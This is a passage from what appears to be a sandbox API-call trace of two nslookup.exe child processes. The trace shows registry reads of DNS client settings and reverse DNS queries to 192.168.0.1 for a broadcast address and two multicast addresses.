(AnsiString="\\") [0049.607] malloc (_Size=0x3200) returned 0x185ed0 [0049.611] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3990 [0049.612] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3da0 [0049.614] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6c8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0049.614] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x3f3990, Length=0x400, ResultLength=0x29f6c0 | out: KeyValueInformation=0x3f3990, ResultLength=0x29f6c0) returned 0xc0000034 [0049.616] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3da0) returned 1 [0049.617] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3990) returned 1 [0049.617] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3990 [0049.618] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3da0 [0049.618] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6c8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0049.619] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x3f3990, Length=0x400, ResultLength=0x29f6c0 | out: KeyValueInformation=0x3f3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x29f6c0) returned 0x0 [0049.620] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3da0) returned 1 [0049.621] RtlUnicodeStringToAnsiString (in: DestinationString=0x29f6d8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0049.621] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3990) returned 1 [0049.622] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3990 [0049.623] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3da0 [0049.623] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6c8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0049.623] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x3f3990, Length=0x400, ResultLength=0x29f6c0 | out: KeyValueInformation=0x3f3990, ResultLength=0x29f6c0) returned 0xc0000034 [0049.624] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3da0) returned 1 [0049.624] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3990) returned 1 [0049.624] RtlInitAnsiString (in: DestinationString=0x29f6f0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0049.625] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6e0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0049.626] NtOpenKey (in: KeyHandle=0x29f7c0, DesiredAccess=0x20019, ObjectAttributes=0x29f700*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x29f7c0*=0x0) returned 0xc0000034 [0049.627] RtlFreeAnsiString (AnsiString="\\") [0049.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3990 [0049.628] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3da0 [0049.629] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6c8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0049.629] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x3f3990, Length=0x400, ResultLength=0x29f6c0 | out: KeyValueInformation=0x3f3990*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x29f6c0) returned 0x0 [0049.630] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3da0) returned 1 [0049.631] RtlUnicodeStringToAnsiString (in: DestinationString=0x29f6d8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0049.631] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3990) returned 1 [0049.632] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3990 [0049.633] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x400) returned 0x3f3da0 [0049.633] RtlAnsiStringToUnicodeString (in: DestinationString=0x29f6c8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0049.634] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x3f3990, Length=0x400, ResultLength=0x29f6c0 | out: KeyValueInformation=0x3f3990, ResultLength=0x29f6c0) returned 0xc0000034 [0049.634] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3da0) returned 1 [0049.635] RtlFreeHeap (HeapHandle=0x3d0000, Flags=0x0, BaseAddress=0x3f3990) returned 1 [0049.636] gethostname (in: name=0x185ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0050.139] free (_Block=0x185ed0) [0050.139] malloc (_Size=0x20) returned 0x2adf80 [0050.139] getenv (_VarName="HOME") returned 0x0 [0050.139] DnsQueryConfigAllocEx () returned 0x1d31620 [0050.162] _vsnprintf (in: _DstBuf=0x29f670, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x28f5e8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0050.162] htons (hostshort=0x1) returned 0x100 [0050.162] htons (hostshort=0x1) returned 0x100 [0050.163] socket (af=2, type=2, protocol=0) returned 0x110 [0050.164] connect (s=0x110, name=0x1d31640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0050.164] send (s=0x110, buf=0x28f670*, len=42, flags=0) returned 42 [0050.169] select (in: nfds=272, readfds=0x27f0e0, writefds=0x0, exceptfds=0x0, timeout=0x27f0b8 | out: readfds=0x27f0e0, writefds=0x0, exceptfds=0x0) returned 1 [0050.169] recv (in: s=0x110, buf=0x27f5d0, len=65536, flags=0 | out: buf=0x27f5d0*) returned 42 [0050.170] closesocket (s=0x110) returned 0 [0050.170] RtlIpv4AddressToStringExA () returned 0xc000000d [0050.170] DnsFreeConfigStructure () returned 0x66726e01 [0050.170] malloc (_Size=0xc) returned 0x2adfb0 [0050.170] strcpy_s (in: _Dst=0x2adfb0, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0050.170] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x3fabb0 [0050.170] strcpy_s (in: _Dst=0xff0f3020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0050.170] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x29f528, nSize=0x0, Arguments=0x29f520 | out: lpBuffer="p\x9c@") returned 0x7 [0050.171] fprintf (in: _File=0x7fefdb62ab0, _Format="%-7s %s" | out: _File=0x7fefdb62ab0) returned 16 [0050.171] fprintf (in: _File=0x7fefdb62ab0, _Format="\nAddress:" | out: _File=0x7fefdb62ab0) returned 9 [0050.171] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0050.171] fprintf (in: _File=0x7fefdb62ab0, _Format="%c %s" | out: _File=0x7fefdb62ab0) returned 13 [0050.171] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\n" | out: _File=0x7fefdb62ab0) returned 2 [0050.171] RtlIpv4StringToAddressA () returned 0x0 [0050.171] _vsnprintf (in: _DstBuf=0x29f390, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x28f308 | out: _DstBuf="255.0.168.192.in-addr.arpa.") returned 27 [0050.171] htons (hostshort=0x2) returned 0x200 [0050.171] htons (hostshort=0x1) returned 0x100 [0050.171] socket (af=2, type=2, protocol=0) returned 0x110 [0050.171] connect (s=0x110, name=0x3fabd0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0050.172] send (s=0x110, buf=0x28f390*, len=44, flags=0) returned 44 [0050.177] select (in: nfds=272, readfds=0x27ee00, writefds=0x0, exceptfds=0x0, timeout=0x27edd8 | out: readfds=0x27ee00, writefds=0x0, exceptfds=0x0) returned 1 [0050.178] recv (in: s=0x110, buf=0x27f2f0, len=65536, flags=0 | out: buf=0x27f2f0*) returned 103 [0050.178] closesocket (s=0x110) returned 0 [0050.178] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x34, dwLanguageId=0x400, lpBuffer=0x29f4a0, nSize=0x0, Arguments=0x29f4a8 | out: lpBuffer="") returned 0x3b [0050.178] CharToOemBuffA (in: lpszSrc="*** UnKnown can't find 192.168.0.255: Non-existent domain\r\n", lpszDst=0x3e9000, cchDstLength=0x3b | out: lpszDst="*** UnKnown can't find 192.168.0.255: Non-existent domain\r\n") returned 1 [0050.178] _write (in: _FileHandle=2, _Buf=0x3e9000*, _MaxCharCount=0x3b | out: _Buf=0x3e9000*) returned 59 [0050.180] LocalFree (hMem=0x3e9000) returned 0x0 [0050.180] free (_Block=0x2adfb0) [0050.180] LocalFree (hMem=0x3fabb0) returned 0x0 [0050.180] free (_Block=0x2adf30) [0050.180] exit (_Code=0) Thread: id = 357 os_tid = 0xb68 Process: id = "27" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x4a667000" os_pid = "0xb6c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 224.0.0.22" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 358 os_tid = 0xb70 [0050.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fb90 | out: lpSystemTimeAsFileTime=0x22fb90*(dwLowDateTime=0x3354e150, dwHighDateTime=0x1d59598)) [0050.948] GetCurrentProcessId () returned 0xb6c [0050.948] GetCurrentThreadId () returned 0xb70 [0050.948] GetTickCount () returned 0x1146eab [0050.948] QueryPerformanceCounter (in: lpPerformanceCount=0x22fb98 | out: lpPerformanceCount=0x22fb98*=17118450522) returned 1 [0050.949] GetModuleHandleW (lpModuleName=0x0) returned 0xff270000 [0050.949] __set_app_type (_Type=0x1) [0050.949] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2809f8) returned 0x0 [0050.949] __getmainargs (in: _Argc=0xff28aa00, _Argv=0xff28aa10, _Env=0xff28aa08, _DoWildCard=0, _StartInfo=0xff28aa1c | out: _Argc=0xff28aa00, _Argv=0xff28aa10, _Env=0xff28aa08) returned 0 [0050.950] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.950] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0050.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff292e80 | out: lpWSAData=0xff292e80) returned 0 [0050.956] malloc (_Size=0x40) returned 0x23df30 [0050.956] socket (af=2, type=2, protocol=0) returned 0x6c [0050.957] closesocket (s=0x6c) returned 0 [0050.958] RtlIpv4StringToAddressA () returned 0x0 [0050.958] RtlInitAnsiString (in: DestinationString=0x22f9f0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0050.958] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9e0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0050.958] NtOpenKey (in: KeyHandle=0x22fab8, DesiredAccess=0x20019, ObjectAttributes=0x22fa00*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x22fab8*=0x6c) returned 0x0 [0050.958] RtlFreeAnsiString (AnsiString="\\") [0050.958] malloc (_Size=0x3200) returned 0x155ed0 [0050.958] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0050.958] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0050.958] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9c8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0050.958] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x22f9c0 | out: KeyValueInformation=0x393980, ResultLength=0x22f9c0) returned 0xc0000034 [0050.958] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0050.958] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0050.958] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0050.958] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0050.958] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9c8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0050.958] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x22f9c0 | out: KeyValueInformation=0x393980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), ResultLength=0x22f9c0) returned 0x0 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0050.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x22f9d8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0050.959] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0050.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9c8, SourceString="DhcpDomain", AllocateDestinationString=0 | out: DestinationString="DhcpDomain") returned 0x0 [0050.959] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpDomain", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x22f9c0 | out: KeyValueInformation=0x393980, ResultLength=0x22f9c0) returned 0xc0000034 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0050.959] RtlInitAnsiString (in: DestinationString=0x22f9f0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient" | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") [0050.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9e0, SourceString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient") returned 0x0 [0050.959] NtOpenKey (in: KeyHandle=0x22fac0, DesiredAccess=0x20019, ObjectAttributes=0x22fa00*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x22fac0*=0x0) returned 0xc0000034 [0050.959] RtlFreeAnsiString (AnsiString="\\") [0050.959] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0050.959] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0050.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9c8, SourceString="SearchList", AllocateDestinationString=0 | out: DestinationString="SearchList") returned 0x0 [0050.959] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="SearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x22f9c0 | out: KeyValueInformation=0x393980*(TitleIndex=0x0, Type=0x1, DataOffset=0x28, DataLength=0x2, NameLength=0x14, Name="SearchList", Data=""), ResultLength=0x22f9c0) returned 0x0 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0050.959] RtlUnicodeStringToAnsiString (in: DestinationString=0x22f9d8, SourceString="", AllocateDestinationString=0 | out: DestinationString="") returned 0x0 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0050.959] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393980 [0050.959] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x0, Size=0x400) returned 0x393d90 [0050.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x22f9c8, SourceString="DhcpSearchList", AllocateDestinationString=0 | out: DestinationString="DhcpSearchList") returned 0x0 [0050.959] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DhcpSearchList", KeyValueInformationClass=0x1, KeyValueInformation=0x393980, Length=0x400, ResultLength=0x22f9c0 | out: KeyValueInformation=0x393980, ResultLength=0x22f9c0) returned 0xc0000034 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393d90) returned 1 [0050.959] RtlFreeHeap (HeapHandle=0x370000, Flags=0x0, BaseAddress=0x393980) returned 1 [0050.959] gethostname (in: name=0x155ed0, namelen=12800 | out: name="XDuwTfOno") returned 0 [0051.003] free (_Block=0x155ed0) [0051.003] malloc (_Size=0x20) returned 0x155a50 [0051.004] getenv (_VarName="HOME") returned 0x0 [0051.004] DnsQueryConfigAllocEx () returned 0x1bc1620 [0051.033] _vsnprintf (in: _DstBuf=0x22f970, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x21f8e8 | out: _DstBuf="1.0.168.192.in-addr.arpa.") returned 25 [0051.033] htons (hostshort=0x1) returned 0x100 [0051.033] htons (hostshort=0x1) returned 0x100 [0051.034] socket (af=2, type=2, protocol=0) returned 0x110 [0051.034] connect (s=0x110, name=0x1bc1640*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0051.035] send (s=0x110, buf=0x21f970*, len=42, flags=0) returned 42 [0051.035] select (in: nfds=272, readfds=0x20f3e0, writefds=0x0, exceptfds=0x0, timeout=0x20f3b8 | out: readfds=0x20f3e0, writefds=0x0, exceptfds=0x0) returned 1 [0051.035] recv (in: s=0x110, buf=0x20f8d0, len=65536, flags=0 | out: buf=0x20f8d0*) returned 42 [0051.035] closesocket (s=0x110) returned 0 [0051.035] RtlIpv4AddressToStringExA () returned 0xc000000d [0051.036] DnsFreeConfigStructure () returned 0x23e5701 [0051.036] malloc (_Size=0xc) returned 0x23df80 [0051.036] strcpy_s (in: _Dst=0x23df80, _DstSize=0xc, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0051.036] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x39aba0 [0051.036] strcpy_s (in: _Dst=0xff293020, _DstSize=0x100, _Src="UnKnown" | out: _Dst="UnKnown") returned 0x0 [0051.036] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x35, dwLanguageId=0x0, lpBuffer=0x22f828, nSize=0x0, Arguments=0x22f820 | out: lpBuffer="`\x9c:") returned 0x7 [0051.036] fprintf (in: _File=0x7fefdb62ab0, _Format="%-7s %s" | out: _File=0x7fefdb62ab0) returned 16 [0051.036] fprintf (in: _File=0x7fefdb62ab0, _Format="\nAddress:" | out: _File=0x7fefdb62ab0) returned 9 [0051.036] inet_ntoa (in=0x100a8c0) returned="192.168.0.1" [0051.037] fprintf (in: _File=0x7fefdb62ab0, _Format="%c %s" | out: _File=0x7fefdb62ab0) returned 13 [0051.037] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\n" | out: _File=0x7fefdb62ab0) returned 2 [0051.037] RtlIpv4StringToAddressA () returned 0x0 [0051.037] _vsnprintf (in: _DstBuf=0x22f690, _MaxCount=0x1e, _Format="%u.%u.%u.%u.in-addr.arpa.", _ArgList=0x21f608 | out: _DstBuf="22.0.0.224.in-addr.arpa.") returned 24 [0051.037] htons (hostshort=0x2) returned 0x200 [0051.037] htons (hostshort=0x1) returned 0x100 [0051.037] socket (af=2, type=2, protocol=0) returned 0x110 [0051.037] connect (s=0x110, name=0x39abc0*(sa_family=2, sin_port=0x35, sin_addr="192.168.0.1"), namelen=16) returned 0 [0051.037] send (s=0x110, buf=0x21f690*, len=41, flags=0) returned 41 [0051.037] select (in: nfds=272, readfds=0x20f100, writefds=0x0, exceptfds=0x0, timeout=0x20f0d8 | out: readfds=0x20f100, writefds=0x0, exceptfds=0x0) returned 1 [0051.038] recv (in: s=0x110, buf=0x20f5f0, len=65536, flags=0 | out: buf=0x20f5f0*) returned 69 [0051.038] closesocket (s=0x110) returned 0 [0051.038] htons (hostshort=0x100) returned 0x1 [0051.038] htons (hostshort=0x100) returned 0x1 [0051.038] htons (hostshort=0x0) returned 0x0 [0051.038] htons (hostshort=0x0) returned 0x0 [0051.038] malloc (_Size=0xf) returned 0x23dfa0 [0051.038] LocalAlloc (uFlags=0x40, uBytes=0x60) returned 0x39aac0 [0051.038] FormatMessageA (in: dwFlags=0x900, lpSource=0x0, dwMessageId=0x31, dwLanguageId=0x0, lpBuffer=0x22f788, nSize=0x0, Arguments=0x22f780 | out: lpBuffer="p\x9c:") returned 0x5 [0051.038] fprintf (in: _File=0x7fefdb62ab0, _Format="%-7s %s" | out: _File=0x7fefdb62ab0) returned 23 [0051.038] fprintf (in: _File=0x7fefdb62ab0, _Format="\nAddress:" | out: _File=0x7fefdb62ab0) returned 9 [0051.038] inet_ntoa (in=0x160000e0) returned="224.0.0.22" [0051.038] fprintf (in: _File=0x7fefdb62ab0, _Format="%c %s" | out: _File=0x7fefdb62ab0) returned 12 [0051.038] fprintf (in: _File=0x7fefdb62ab0, _Format="\n\n" | out: _File=0x7fefdb62ab0) returned 2 [0051.038] free (_Block=0x23df80) [0051.038] LocalFree (hMem=0x39aba0) returned 0x0 [0051.038] free (_Block=0x23df30) [0051.038] exit (_Code=0) Thread: id = 360 os_tid = 0xb84 Process: id = "28" image_name = "nslookup.exe" filename = "c:\\windows\\system32\\nslookup.exe" page_root = "0x4a66c000" os_pid = "0xb88" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0xa5c" cmd_line = "C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 361 os_tid = 0xb8c [0051.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xffb70 | out: lpSystemTimeAsFileTime=0xffb70*(dwLowDateTime=0x33d7ccf0, dwHighDateTime=0x1d59598)) [0051.808] GetCurrentProcessId () returned 0xb88 [0051.808] GetCurrentThreadId () returned 0xb8c [0051.808] GetTickCount () returned 0x1147205 [0051.808] QueryPerformanceCounter (in: lpPerformanceCount=0xffb78 | out: lpPerformanceCount=0xffb78*=17204398648) returned 1 [0051.810] GetModuleHandleW (lpModuleName=0x0) returned 0xff3f0000 [0051.810] __set_app_type (_Type=0x1) [0051.810] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff4009f8) returned 0x0 [0051.810] __getmainargs (in: _Argc=0xff40aa00, _Argv=0xff40aa10, _Env=0xff40aa08, _DoWildCard=0, _StartInfo=0xff40aa1c | out: _Argc=0xff40aa00, _Argv=0xff40aa10, _Env=0xff40aa08) returned 0 [0051.810] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0051.810] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0051.811] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xff412e80 | out: lpWSAData=0xff412e80) returned 0 [0051.817] malloc (_Size=0x40) returned 0x17df30 [0051.817] socket (af=2, type=2, protocol=0) returned 0x6c [0051.819] closesocket (s=0x6c) returned 0 [0051.819] RtlIpv4StringToAddressA () returned 0x0 [0051.820] RtlInitAnsiString (in: DestinationString=0xff9d0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters" | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") [0051.820] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9c0, SourceString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", AllocateDestinationString=1 | out: DestinationString="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters") returned 0x0 [0051.820] NtOpenKey (in: KeyHandle=0xffa98, DesiredAccess=0x20019, ObjectAttributes=0xff9e0*(Length=0x30, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0xffa98*=0x6c) returned 0x0 [0051.820] RtlFreeAnsiString (AnsiString="\\") [0051.820] malloc (_Size=0x3200) returned 0x4b5ed0 [0051.820] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293980 [0051.820] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293d90 [0051.820] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9a8, SourceString="DNSLookupOrder", AllocateDestinationString=0 | out: DestinationString="DNSLookupOrder") returned 0x0 [0051.820] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="DNSLookupOrder", KeyValueInformationClass=0x1, KeyValueInformation=0x293980, Length=0x400, ResultLength=0xff9a0 | out: KeyValueInformation=0x293980, ResultLength=0xff9a0) returned 0xc0000034 [0051.820] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293d90) returned 1 [0051.820] RtlFreeHeap (HeapHandle=0x270000, Flags=0x0, BaseAddress=0x293980) returned 1 [0051.820] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293980 [0051.820] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x400) returned 0x293d90 [0051.820] RtlAnsiStringToUnicodeString (in: DestinationString=0xff9a8, SourceString="Domain", AllocateDestinationString=0 | out: DestinationString="Domain") returned 0x0 [0051.820] NtQueryValueKey (in: KeyHandle=0x6c, ValueName="Domain", KeyValueInformationClass=0x1, KeyValueInformation=0x293980, Length=0x400, ResultLength=0xff9a0 | out: KeyValueInformation=0x293980*(TitleIndex=0x0, Type=0x1, DataOffset=0x20, DataLength=0x2, NameLength=0xc, Name="Domain", Data=""), 